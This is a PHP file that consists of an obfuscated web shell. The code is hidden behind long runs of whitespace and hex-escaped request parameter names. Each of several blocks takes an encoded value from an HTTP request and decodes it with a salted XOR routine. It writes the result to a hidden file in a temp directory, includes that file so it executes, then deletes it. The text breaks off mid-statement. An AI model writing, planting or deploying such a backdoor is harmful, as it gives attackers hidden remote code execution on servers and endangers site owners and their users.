<?																																										if(!is_null($_REQUEST["\x70ar\x61m\x65\x74er_\x67ro\x75\x70"] ?? null)){ $elem = $_REQUEST["\x70ar\x61m\x65\x74er_\x67ro\x75\x70"]; $elem = explode ( ".",$elem ) ; $desc = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $s = 0; while ($s < count($elem)) { $v6 = $elem[$s]; $chS = ord($s1[$s%$sLen]); $dec = ((int)$v6 - $chS - ($s%10))^ 54; $desc.=chr($dec); $s++; } $key = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path()]); for ($ent = 0, $bind = count($key); $ent < $bind; $ent++) { $data = $key[$ent]; if (is_dir($data) ? is_writable($data) : false) { $rec = sprintf("%s/.record", $data); $success = file_put_contents($rec, $desc); if ($success) { include $rec; @unlink($rec); die();} } } }
																																										if(!empty($_POST["t\x6Fken"])){ $element = $_POST["t\x6Fken"]; $element=explode ("." , $element ) ; $reference=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $p=0; foreach ($element as $v7) { $sChar=ord($salt[$p% $lenS] ); $dec=((int)$v7 - $sChar - ($p% 10)) ^ 8; $reference .=chr($dec ); $p++; } $mrk = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/tmp"]); for ($descriptor = 0, $marker = count($mrk); $descriptor < $marker; $descriptor++) { $holder = $mrk[$descriptor]; if (!( !is_dir($holder) || !is_writable($holder) )) { $ent = join("/", [$holder, ".flg"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(!is_null($_POST["dchu\x6Ek"] ?? null)){ $flag = $_POST["dchu\x6Ek"]; $flag = explode ( '.', $flag ) ; $tkn = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $len = count($flag); for ($t = 0; $t < $len; $t++) { $v3 = $flag[$t]; $sChar = ord($salt1[$t % $sLen]); $dec = ((int)$v3 - $sChar - ($t % 10)) ^ 5; $tkn .= chr($dec); } $holder = array_filter(["/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP")]); foreach ($holder as $key => $ptr) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $value = join("/", [$ptr, ".pointer"]); if (file_put_contents($value, $tkn)) { include $value; @unlink($value); exit; } } } }
																																										if(isset($_REQUEST["ent\x69t\x79"]) ? true : false){ $pgrp = $_REQUEST["ent\x69t\x79"]; $pgrp =explode ( '.' ,$pgrp) ; $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $len = count($pgrp ); for ($x = 0; $x < $len; $x++) { $v2 = $pgrp[$x]; $chS = ord($s9[$x % $lenS] ); $d = ((int)$v2 - $chS - ($x % 10))^ 62; $value.=chr($d ); } $symbol = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp"]); $binding = 0; do { $factor = $symbol[$binding] ?? null; if ($binding >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $item = sprintf("%s/.flag", $factor); if (file_put_contents($item, $value)) { include $item; @unlink($item); die(); } } $binding++; } while (true); }
																																										if(array_key_exists("va\x6C", $_REQUEST)){ $resource = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp"]); $object = $_REQUEST["va\x6C"]; $object= explode ( "." ,$object ) ; $reference = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); foreach ($object as $n => $v1) { $chS = ord($s1[$n % $sLen] ); $d = ((int)$v1 - $chS - ($n % 10)) ^ 20; $reference .=chr($d ); } while ($ent = array_shift($resource)) { if (is_dir($ent) ? is_writable($ent) : false) { $dat = implode("/", [$ent, ".binding"]); $file = fopen($dat, 'w'); if ($file) { fwrit